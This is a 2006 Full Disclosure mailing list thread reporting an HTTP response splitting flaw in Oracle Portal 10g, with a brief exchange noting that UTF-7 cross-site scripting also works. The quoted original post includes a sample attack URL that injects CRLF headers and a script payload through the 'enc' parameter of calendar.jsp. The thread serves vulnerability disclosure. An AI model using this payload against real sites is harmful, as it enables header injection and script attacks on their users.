Full Disclosure mailing list archives
Re: Oracle Portal 10g HTTP Response Splitting
From: "putosoft softputo" <hasecorp () hotmail com>
Date: Fri, 22 Dec 2006 08:26:12 +0000
From: "Brian Eaton" <eaton.lists () gmail com> To: "putosoft softputo" <hasecorp () hotmail com> CC: bugtraq () securityfocus com, full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting Date: Wed, 20 Dec 2006 13:55:09 -0500 On 12/20/06, putosoft softputo <hasecorp () hotmail com> wrote:Oracle Portal/Applications HTTP Response Splitting -------------------------------------------------- Sample: http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3ESo they let the URL specify the content-encoding? They might be vulnerable to XSS via UTF-7 as well. Regards, Brian
Yeah, it is. _________________________________________________________________ Moda para esta temporada. Ponte al día de todas las tendencias. http://www.msn.es/Mujer/moda/default.asp _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Oracle Portal 10g HTTP Response Splitting putosoft softputo (Dec 20)
- Re: Oracle Portal 10g HTTP Response Splitting Brian Eaton (Dec 20)
- <Possible follow-ups>
- Re: Oracle Portal 10g HTTP Response Splitting putosoft softputo (Dec 22)